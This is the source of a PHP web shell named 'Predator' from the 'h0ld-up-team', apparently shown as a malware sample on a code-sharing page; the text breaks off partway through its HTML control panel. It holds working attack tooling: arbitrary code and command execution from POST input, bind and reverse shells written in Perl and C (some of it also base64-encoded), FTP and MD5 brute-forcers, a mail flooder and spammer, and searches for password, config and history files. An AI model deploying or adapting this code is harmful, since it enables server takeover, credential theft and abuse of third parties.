Jump to:
Screenshot
Attributes
Encoding
<?php
$auth = 0;
ini_set("session.gc_maxlifetime", 1);
session_start();
error_reporting(0);
safe_mode();
$name = "9b534ea55d0b82c3a7e80003a84b6865";
//login = 'mylogin'
$pass = "a029d0df84eb5549c641e04a9ef389e5";
//pass = 'mypass'
if (false) {
if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER']) != $name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW']) != $pass) {
header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
}
if ($_GET['kill'] == 'yes') {
unlink($_SERVER['SCRIPT_FILENAME']);
echo "<script>alert('Your shell script was succefully deleted!')</script>";
}
function md5_brute($hash, $log, $dict)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if (!$dict) {
return "Fill 'dictionary_file' field!";
}
if (!$log) {
return "Fill 'log_file' field!";
} elseif (!strlen($hash) == 0) {
return "Fill 'md5_hash' field!";
} else {
while (!$feof($dict)) {
$pass = fgets($dict);
$brute_hash = md5($pass);
if ($brute_hash == $hash) {
fputs($log, "{$hash}:{$pass}\n---");
fclose($dict);
fclose($log);
exit;
} else {
$count += 1;
fputs($log, "{$count} passwords was bruted...");
}
}
fputs($log, "{$count} passwords are failed!");
}
fclose($dict);
fclose($log);
}
function port_bind($port, $pass, $method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS\r\nVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs\r\nJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV\r\nTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG\r\nlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK\r\nQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i\r\nOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N\r\nlIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS\r\nA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I\r\nGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt\r\nb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9\r\npKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF\r\nNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK\r\nikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog\r\nICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk\r\n7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2\r\n9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld\r\n2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu\r\ndGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp\r\nlbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
if ($method == 'Perl') {
fputs($i = fopen('/tmp/shlbck', 'w'), "#!/usr/bin/perl\r\n\$SHELL=\"/bin/bash -i\";\r\nif (@ARGV < 1) { exit(1); }\r\n\$LISTEN_PORT=\$ARGV[0];\r\nuse Socket;\r\n\$protocol=getprotobyname('tcp');\r\nsocket(S,&PF_INET,&SOCK_STREAM,\$protocol) || die \"Cant create socket\\n\";\r\nsetsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);\r\nbind(S,sockaddr_in(\$LISTEN_PORT,INADDR_ANY)) || die \"Cant open port\\n\";\r\nlisten(S,3) || die \"Cant listen port\\n\";\r\nwhile(1)\r\n{\r\naccept(CONN,S);\r\nif(!(\$pid=fork))\r\n{\r\ndie \"Cannot fork\" if (!defined \$pid);\r\nopen STDIN,\"<&CONN\";\r\nopen STDOUT,\">&CONN\";\r\nopen STDERR,\">&CONN\";\r\nexec \$SHELL || die print CONN \"Cant execute \$SHELL\\n\";\r\nclose CONN;\r\nexit 0;\r\n}\r\n}");
fclose($i);
ex(which("perl") . " /tmp/shlbck " . $port . " &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
} elseif ($method == 'C#') {
fputs($i = fopen('/tmp/shlbck.c', 'w'), "#include <stdio.h>\r\n#include <string.h>\r\n#include <sys/types.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\n#include <errno.h>\r\nint main(argc,argv)\r\nint argc;\r\nchar **argv;\r\n{ \r\n int sockfd, newfd;\r\n char buf[30];\r\n struct sockaddr_in remote;\r\n if(fork() == 0) { \r\n remote.sin_family = AF_INET;\r\n remote.sin_port = htons(atoi(argv[1]));\r\n remote.sin_addr.s_addr = htonl(INADDR_ANY); \r\n sockfd = socket(AF_INET,SOCK_STREAM,0);\r\n if(!sockfd) perror(\"socket error\");\r\n bind(sockfd, (struct sockaddr *)&remote, 0x10);\r\n listen(sockfd, 5);\r\n while(1)\r\n {\r\n newfd=accept(sockfd,0,0);\r\n dup2(newfd,0);\r\n dup2(newfd,1);\r\n dup2(newfd,2);\r\n write(newfd,\"Password:\",10);\r\n read(newfd,buf,sizeof(buf));\r\n if (!chpass(argv[2],buf))\r\n system(\"echo welcome to r57 shell && /bin/bash -i\");\r\n else\r\n fprintf(stderr,\"Sorry\");\r\n close(newfd);\r\n }\r\n }\r\n}\r\nint chpass(char *base, char *entered) {\r\nint i;\r\nfor(i=0;i<strlen(entered);i++) \r\n{\r\nif(entered[i] == '\\n')\r\nentered[i] = '\\0'; \r\nif(entered[i] == '\\r')\r\nentered[i] = '\\0';\r\n}\r\nif (!strcmp(base,entered))\r\nreturn 0;\r\n}");
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck " . $port . " " . $pass . " &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
} else {
return "Choose method";
}
}
function backconnect($ip, $port, $method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\r\naG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\r\nhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\r\nsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\r\nkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\r\nKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\r\nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\r\nBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\r\nSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\r\nKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\r\nsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\r\nAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\r\nQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\r\nOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($method == 'Perl') {
fputs($i = fopen('/tmp/shlbck', 'w'), "#!/usr/bin/perl\r\nuse Socket;\r\n\$cmd= \"lynx\";\r\n\$system= 'echo \"`uname -a`\";echo \"`id`\";/bin/sh';\r\n\$0=\$cmd;\r\n\$target=\$ARGV[0];\r\n\$port=\$ARGV[1];\r\n\$iaddr=inet_aton(\$target) || die(\"Error: \$!\\n\");\r\n\$paddr=sockaddr_in(\$port, \$iaddr) || die(\"Error: \$!\\n\");\r\n\$proto=getprotobyname('tcp');\r\nsocket(SOCKET, PF_INET, SOCK_STREAM, \$proto) || die(\"Error: \$!\\n\");\r\nconnect(SOCKET, \$paddr) || die(\"Error: \$!\\n\");\r\nopen(STDIN, \">&SOCKET\");\r\nopen(STDOUT, \">&SOCKET\");\r\nopen(STDERR, \">&SOCKET\");\r\nsystem(\$system);\r\nclose(STDIN);\r\nclose(STDOUT);\r\nclose(STDERR);");
fclose($i);
ex(which("perl") . " /tmp/shlbck " . $ip . " " . $port . " &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
} elseif ($method == 'C#') {
fputs($i = fopen('/tmp/shlbck.c', 'w'), "#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\nint main(int argc, char *argv[])\r\n{\r\n int fd;\r\n struct sockaddr_in sin;\r\n char rms[21]=\"rm -f \"; \r\n daemon(1,0);\r\n sin.sin_family = AF_INET;\r\n sin.sin_port = htons(atoi(argv[2]));\r\n sin.sin_addr.s_addr = inet_addr(argv[1]); \r\n bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); \r\n fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; \r\n if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {\r\n perror(\"[-] connect()\");\r\n exit(0);\r\n }\r\n strcat(rms, argv[0]);\r\n system(rms); \r\n dup2(fd, 0);\r\n dup2(fd, 1);\r\n dup2(fd, 2);\r\n execl(\"/bin/sh\",\"sh -i\", NULL);\r\n close(fd); \r\n}");
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck " . $ip . " " . $port . " &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
} else {
return "Choose method";
}
}
if ($_POST['type'] == 11) {
download(stripslashes($_POST['value']));
}
function download($dfilename)
{
$file = fopen($dfilename, "r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file, @filesize($dfilename));
fclose($file);
header("Content-type: " . $mime_type);
header("Content-disposition: attachment; filename=\"" . $filename . "\";");
echo $filedump;
}
function flooder($logf, $to, $from, $subject, $msg, $amount, $check)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($logf, "w");
$count = 0;
if (!$logf) {
return "Fill 'log_file' field!";
} elseif (!$to) {
return "Fill 'Send to' field!";
} elseif (!$from) {
return "Fill 'From' field!";
} elseif (!$subject) {
return "Fill 'Subject' field!";
} elseif (!$msg) {
return "Fill 'Message' field!";
} elseif (!$amount) {
return "Fill 'Amount' field!";
} else {
while ($count < $amount) {
mail("{$to}", "{$subject}", "{$msg}", "From: {$from}");
$count += 1;
$fl = fopen($logf, "w");
fputs($fl, "{$count} flood-letters was sended...");
fclose($fl);
}
if (strlen($check) != 0) {
$check_text = "Done! {$count} flood-letters was sended!";
$check_sub = 'Check';
mail("{$check}", "Check", "{$check_text}", "From: {$from}");
$fl = fopen($logf, "w");
fputs($fl, "Done! {$count} flood-letters was sended!");
} else {
$fl = fopen($logf, "w");
fputs($fl, "Done! {$count} flood-letters was sended!");
}
}
fclose($fl);
}
function ftp_brute($host, $ftp_users, $ftp_passwd, $ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if (!$host) {
return "Fill 'Host' field!";
} elseif (!$ftp_users) {
return "Fill 'ftp_users file' field!";
} elseif (!$ftp_passwd) {
return "Fill 'ftp_passwd file' field!";
} elseif (!$ftp_log) {
return "Fill 'ftp_log file' field!";
} elseif (!file_exists($ftp_users)) {
return "File " . $ftp_users . " doesn't exists!";
} elseif (!file_exists($ftp_passwd)) {
return "File " . $ftp_passwd . " doesn't exists!";
} else {
while (!feof($fd)) {
$pass = fgets($fd);
while (!feof($fl)) {
$user = fgets($fl);
$connect = ftp_connect($host);
if (!$connect) {
fputs($fr, "Enable connect to {$host}\n");
exit;
} else {
$auth = ftp_login($connect, $user, $pass);
if (!$auth) {
ftp_quit($connect);
} else {
fputs($fr, "{$host}:\n---{$login}:{$pass}\n---");
ftp_quit($connect);
}
}
}
}
fputs($fr, "Done:\n");
fclose($fr);
}
fclose($fl);
fclose($fd);
}
function spammer($from, $subject, $msg, $check, $elist, $logf)
{
ignore_user_abort(1);
set_time_limit(0);
$fp = fopen($elist . "r");
$fl = fopen($logf, "w");
$count = 0;
if (!$from) {
return "Fill 'From' field!";
} elseif (!$elist) {
return "Fill 'Emails list' field!";
} elseif (!$logf) {
return "Fill 'Log File' field!";
} elseif (!$msg) {
return "Fill 'Message' field!";
} elseif (!$subject) {
return "Fill 'Subject' field!";
} elseif (!file_exists($elist)) {
return "File " . $elist . " doesn't exists!";
} else {
while (!feof($fp)) {
$to = fgets($fp);
mail("{$to}", "{$subject}", "{$msg}", "From: {$from}");
$count += 1;
$fl = fopen($logf, "w");
fputs($fl, "{$count} letters was sended...");
fclose($fl);
}
if (strlen($check) != 0) {
$check_text = "Done! {$count} letters was sended!";
$check_sub = 'Check';
mail("{$check}", "Check", "{$check_text}", "From: {$from}");
$fl = fopen($logf, "w");
fputs($fl, "Done! {$count} letters was sended!\n");
} else {
$fl = fopen($logf, "w");
fputs($fl, "Done! {$count} letters was sended!");
}
}
fclose($fp);
fclose($fl);
}
function alias($in)
{
if ($in == "find apahce config file") {
return ex('find / -type f -name httpd.conf');
} elseif ($in == "find access_log files") {
return ex('find / -type f -name access_log');
} elseif ($in == "find error_log files") {
return ex('find / -type f -name error_log');
} elseif ($in == "find suid files") {
return ex('find / -type f -perm -04000 -ls');
} elseif ($in == "find suid files in current dir") {
return ex('find . -type f -perm -04000 -ls');
} elseif ($in == "find sgid files") {
return ex('find / -type f -perm -02000 -ls');
} elseif ($in == "find sgid files in current dir") {
return ex('find . -type f -perm -02000 -ls');
} elseif ($in == "find config.inc.php files") {
return ex('find / -type f -name config.inc.php');
} elseif ($in == "find config.inc.php files in current dir") {
return ex('find . -type f -name config.inc.php');
} elseif ($in == "find config* files") {
return ex('find / -type f -name "config*"');
} elseif ($in == "find config* files in current dir") {
return ex('find . -type f -name "config*"');
} elseif ($in == "find all writable files") {
return ex('find / -type f -perm -2 -ls');
} elseif ($in == "find all writable files in current dir") {
return ex('find . -type f -perm -2 -ls');
} elseif ($in == "find all writable directories") {
return ex('find / -type d -perm -2 -ls');
} elseif ($in == "find all writable directories in current dir") {
return ex('find . -type d -perm -2 -ls');
} elseif ($in == "find all writable directories and files") {
return ex('find / -perm -2 -ls');
} elseif ($in == "find all writable directories and files in current dir") {
return ex('find . -perm -2 -ls');
} elseif ($in == "find all service.pwd files") {
return ex('find / -type f -name service.pwd');
} elseif ($in == "find service.pwd files in current dir") {
return ex('find . -type f -name service.pwd');
} elseif ($in == "find all .htpasswd files") {
return ex('find / -type f -name .htpasswd');
} elseif ($in == "find .htpasswd files in current dir") {
return ex('find . -type f -name .htpasswd');
} elseif ($in == "find all .bash_history files") {
return ex('find / -type f -name .bash_history');
} elseif ($in == "find .bash_history files in current dir") {
return ex('find . -type f -name .bash_history');
} elseif ($in == "find all .mysql_history files") {
return ex('find / -type f -name .mysql_history');
} elseif ($in == "find .mysql_history files in current dir") {
return ex('find . -type f -name .mysql_history');
} elseif ($in == "find all .fetchmailrc files") {
return ex('find / -type f -name .fetchmailrc');
} elseif ($in == "find .fetchmailrc files in current dir") {
return ex('find . -type f -name .fetchmailrc');
} elseif ($in == "list file attributes on a Linux second extended file system") {
return ex('lsattr -va');
} elseif ($in == "show opened ports") {
return ex('netstat -an | grep -i listen');
} elseif ($in == "---------------------------------------------------------------------------------------------------------") {
return ex('ls -la');
}
}
function testperl()
{
if (ex('perl -h')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function testlynx()
{
if (ex('lynx --help')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function view_size($size)
{
if ($size >= 1073741824) {
$size = @round($size / 1073741824 * 100) / 100 . " GB";
} elseif ($size >= 1048576) {
$size = @round($size / 1048576 * 100) / 100 . " MB";
} elseif ($size >= 1024) {
$size = @round($size / 1024 * 100) / 100 . " KB";
} else {
$size .= " B";
}
return $size;
}
function testfetch()
{
if (ex('fetch --help')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function testwget()
{
if (ex('wget --help')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function oracle()
{
if (function_exists('ocilogon')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function postgresql()
{
if (function_exists('pg_connect')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function testmssql()
{
if (function_exists('mssql_connect')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function testcurl()
{
if (function_exists('curl_version')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function testmysql()
{
if (function_exists('mysql_connect')) {
return "<font size=2 color=green>ON</font>";
} else {
return "<font size=2 color=red>OFF</font>";
}
}
function safe_mode()
{
if (!$safe_mode && strpos(ex("echo abch0ld"), "h0ld") != 3) {
$_SESSION['safe_mode'] = 1;
return "<font size=2 color=green>ON</font>";
} else {
$_SESSION['safe_mode'] = 0;
return "<font size=2 color=red>OFF</font>";
}
}
function ex($in)
{
$out = '';
if (function_exists('exec')) {
exec($in, $out);
$out = join("\n", $out);
} elseif (function_exists('passthru')) {
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
} elseif (function_exists('system')) {
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = popen($in, "r"))) {
$out = "";
while (!@feof($f)) {
$out .= fread($f, 1024);
}
pclose($f);
}
return $out;
}
function shell()
{
if ($_POST['type'] == 1) {
eval(stripslashes($_POST['value']));
} elseif ($_POST['type'] == 2) {
pwd();
print_r(ex(stripslashes($_POST['value'])));
} elseif ($_POST['type'] == 3) {
if ($_SESSION['safe_mode'] == 1) {
if (($u = safe_ex('ls -la')) != '') {
return $u;
} else {
return safe_ex('dir');
}
} else {
if (($u = ex('ls -la')) != '') {
return $u;
} else {
return ex('dir');
}
}
} elseif ($_POST['type'] == 4) {
if (file_exists(stripslashes($_POST['value']))) {
if ($safe_mode != 1) {
echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']), "rw"), filesize(stripslashes($_POST['value']))));
} else {
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
}
$_SESSION['edit'] = 1;
$_SESSION['filename'] = $_POST['value'];
} else {
return "File doesn't exists!";
}
} elseif ($_POST['type'] == 5) {
fputs(fopen($_SESSION['filename'], "w"), stripslashes($_POST['value']));
} elseif ($_POST['type'] == 6) {
$uploaddir = pwd();
if (!($name = $_POST['newname'])) {
$name = $_FILES['userfile']['name'];
}
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
} elseif ($_POST['type'] == 7) {
echo alias($_POST['value']);
} elseif ($_POST['type'] == 8) {
echo spammer(stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['check']), stripslashes($_POST['elist']), stripslashes($_POST['logf']));
} elseif ($_POST['type'] == 9) {
echo ftp_brute(stripslashes($_POST['host']), stripslashes($_POST['users']), stripslashes($_POST['passwd']), stripslashes($_POST['log']));
} elseif ($_POST['type'] == 10) {
echo flooder(stripslashes($_POST['log']), stripslashes($_POST['to']), stripslashes($_POST['from']), stripslashes($_POST['subject']), stripslashes($_POST['msg']), stripslashes($_POST['amount']), stripslashes($_POST['check']));
} elseif ($_POST['type'] == 12) {
echo backconnect(stripslashes($_POST['ip']), stripslashes($_POST['port']), stripslashes($_POST['method']));
} elseif ($_POST['type'] == 13) {
echo backconnect(stripslashes($_POST['port']), stripslashes($_POST['pass']), stripslashes($_POST['method']));
} elseif ($_POST['type'] == 14) {
echo md5_brute(stripslashes($_POST['hash']), stripslashes($_POST['log']), stripslashes($_POST['dict']));
} else {
$u = ex('ls -la');
if ($u == '') {
return ex('dir');
} else {
return $u;
}
}
return null;
}
function edit()
{
if ($_SESSION['edit'] == 1) {
$_SESSION['edit'] = 0;
return "<br><center><input type=submit style=\"border:1px solid #666666;background:#333333;font-weight:bold;\" value=\"Save\"></center>";
}
}
function getsystem()
{
return php_uname('s') . " " . php_uname('r') . " " . php_uname('v');
}
function getserver()
{
return getenv("SERVER_SOFTWARE");
}
function getuser()
{
$out = get_current_user();
if ($out != "SYSTEM") {
if (($out = ex('id')) == '') {
$out = "uid=" . getmyuid() . "(" . get_current_user() . ") gid=" . getmygid();
}
}
return $out;
}
function pwd()
{
if ($_POST['type'] == 3) {
$_SESSION['pwd'] = stripslashes($_POST['value']);
}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if ($u = strrpos($cwd, '/')) {
if ($u != strlen($cwd) - 1) {
return $cwd . '/';
} else {
return $cwd;
}
} elseif ($u = strrpos($cwd, '\\')) {
if ($u != strlen($cwd) - 1) {
return $cwd . '\\';
} else {
return $cwd;
}
}
}
function safe_ex($in)
{
if ($in) {
$d = dir('.');
while (false !== ($file = $d->read())) {
if ($file == "." || $file == "..") {
continue;
}
@clearstatcache();
list($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if (!$unix) {
echo date("d.m.Y\t H:i", $mtime) . "\t";
if (@is_dir($file)) {
echo " <DIR> ";
} else {
printf("% 7s ", $size);
}
} else {
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode . " ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ", $nlink, $owner['name'], $grgid['name'], $size);
echo date("d.m.Y H:i ", $mtime);
}
echo "{$file}\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include "/etc/passwd";
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?>
<html>
<head>
<title>.::Predator::.</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm('Are you really want to kill shell?');
if(y == true)
{
document.location = '?kill=yes';
}
}
</script>
</head>
<body bgcolor='#000000'>
<center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #666666">
<tr><td width=100% height=70 bgcolor='#333333' style="border-bottom: 2px solid #666666" valign=top>
<table valign=top>
<tr><td valign=top>
<table valign=center class='ram'>
<tr><td width=5% align=right>
<font size=2 color=#888888>System:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php
echo getsystem();
?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>Server:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php
echo getserver();
?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>User:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php
echo getuser();
?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>pwd:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php
if (strlen($u = pwd()) > 45) {
echo "..." . substr($u, strlen($u) - 40, 40);
} else {
echo $u;
}
?></b></font>
</td></tr>
</table>
</td>
<td width=13% valign=center align=center>
<table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
<center>
<a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #666666;background:#444444">
<tr><td><font size=2 color=#999999>
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></table></a></center>
</td></tr><tr><td height=5></td></tr><tr><td>
<center>
<input type=submit style="border:1px solid #666666;background: darkred;font-weight:bold;" value=' Kill Shell ' onclick='kill()'>
</center>
</td></tr></table>
</td>
<td class='ram' width=45% valign=center align=center>
<table cellpadding=0 cellspacing=0>
<tr><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td align=right>
<font size=2 color='#888888'>PHP-version:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MySQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MSSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>PostgreSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>Oracle:</font>
</td></tr>
</table>
</td><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td>
<b><font size=2 color=red><?php
echo phpversion();
?></font></b>
</td></tr>
<tr><td>
<b><?php
echo testmysql();
?></b>
</td></tr>
<tr><td>
<b><?php
echo testmssql();
?></b>
